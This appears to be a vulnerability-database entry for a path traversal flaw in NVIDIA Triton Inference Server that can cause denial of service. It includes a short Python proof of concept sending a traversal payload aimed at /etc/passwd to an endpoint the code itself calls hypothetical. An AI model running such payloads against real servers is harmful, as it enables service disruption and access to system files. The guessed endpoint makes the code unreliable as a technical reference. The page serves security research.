NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause a path traversal issue. A successful exploit of this vulnerability might lead to denial of service.
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA Triton Inference Server (具体受影响版本请参考 NVIDIA 官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Conceptual Proof of Concept for CVE-2026-24209
# Target: NVIDIA Triton Inference Server
# Description: Sends a payload with path traversal sequences to trigger DoS.
target_host = "http://target-triton-server:8000"
vulnerable_endpoint = "/v2/models/infer" # Hypothetical endpoint
# Payload attempting to traverse directories
payload = {
"model_name": "../../../../../../etc/passwd"
}
try:
print(f"Sending request to {target_host}{vulnerable_endpoint}...")
response = requests.post(target_host + vulnerable_endpoint, json=payload, timeout=5)
# Check if the service is still responding or if it crashed
if response.status_code == 200:
print("Request sent successfully. Check server logs for path access.")
else:
print(f"Received status code: {response.status_code}")
except requests.exceptions.RequestException as e:
# A connection error or timeout might indicate a successful DoS
print(f"Connection failed or timeout: {e}")
print("The server might have crashed (Denial of Service).")